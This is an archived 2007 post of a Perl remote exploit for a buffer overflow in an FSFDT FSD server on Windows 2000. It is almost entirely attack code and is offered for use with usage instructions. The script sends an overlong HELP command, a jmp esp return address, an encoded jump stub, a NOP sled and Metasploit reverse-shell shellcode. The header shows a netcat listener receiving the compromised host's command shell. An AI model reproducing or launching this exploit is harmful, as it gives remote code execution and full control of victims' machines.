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fsfdt-overflow.txt

Posted on 05 October 2007

# ~$ nc -l -p 4321
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# E:draftfsd1110windows>_
#
# -------------------------------------------

#!/usr/bin/perl

# FSFDT remote exploit by weak[at]fraglab.at
# spawns reverse shell to 10.0.0.100:4321
# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4

use IO::Socket;

if( $#ARGV < 1 )
{
print "usage: perl ".$0." <ip> <port>";
exit();
}
my $ip = $ARGV[0];
my $port = $ARGV[1];

print "connecting...
";
my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
die "could not create socket: $!
" unless $sock;

# jmp esp in KERNEL32.DLL 5.0.2195.7006
my $jmpesp = "xB7x49xE7x77";

# encoded 'jmp 0x400' to jump to stage2
my $jmpcode =
"xebx11x5ex31xc9xb1x1ex80x6cx0exffx35x80xe9x01".
"x75xf6xebx05xe8xeaxffxffxffx0ex16x0ex69x59x8d".
"x8dx8dx8dxb5x1dx1cx66xfex9bxb6x1ex30x34xb5x65".
"x36x75x17x2fx1dx36x3ax36x36";

# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
# bad chars: 0x00 0x0A 0x0D 0x20 0x29
my $shellcode =
"x2bxc9x83xe9xb8xd9xeexd9x74x24xf4x5bx81x73x13x1e".
"x2ax6ex8fx83xebxfcxe2xf4xe2x40x85xc2xf6xd3x91x70".
"xe1x4axe5xe3x3ax0exe5xcax22xa1x12x8ax66x2bx81x04".
"x51x32xe5xd0x3ex2bx85xc6x95x1exe5x8exf0x1bxaex16".
"xb2xaexaexfbx19xebxa4x82x1fxe8x85x7bx25x7ex4axa7".
"x6bxcfxe5xd0x3ax2bx85xe9x95x26x25x04x41x36x6fx64".
"x1dx06xe5x06x72x0ex72xeexddx1bxb5xebx95x69x5ex04".
"x5ex26xe5xffx02x87xe5xcfx16x74x06x01x50x24x82xdf".
"xe1xfcx08xdcx78x42x5dxbdx76x5dx1dxbdx41x7ex91x5f".
"x76xe1x83x73x25x7ax91x59x41xa3x8bxe9x9fxc7x66x8d".
"x4bx40x6cx70xcex42xb7x86xebx87x39x70xc8x79x3dxdc".
"x4dx69x3dxccx4dxd5xbexe7x14x2ax6exebx78x42x7ex6e".
"x78x79xe7x6ex8bx42x82x76xb4x4ax39x70xc8x40x7exde".
"x4bxd5xbexe9x74x4ex08xe7x7dx47x04xdfx47x03xa2x06".
"xf9x40x2ax06xfcx1bxaex7cxb4xbfxe7x72xe0x68x43x71".
"x5cx06xe3xf5x26x81xc5x24x76x58x90x3cx08xd5x1bxa7".
"xe1xfcx35xd8x4cx7bx3fxdex74x2bx3fxdex4bx7bx91x5f".
"x76x87xb7x8axd0x79x91x59x74xd5x91xb8xe1xfax06x68".
"x67xecx17x70x6bx2ex91x59xe1x5dx92x70xcex42x81x41".
"xfex4ax3dx70xc8xd5xbex8f";

print "sending payload...
";
print $sock "HELP " . "A"x200 . $jmpesp . "x90"x8 . $jmpcode . "
" . "x90"x400 . $shellcode;
close($sock);

print "done.
";

 

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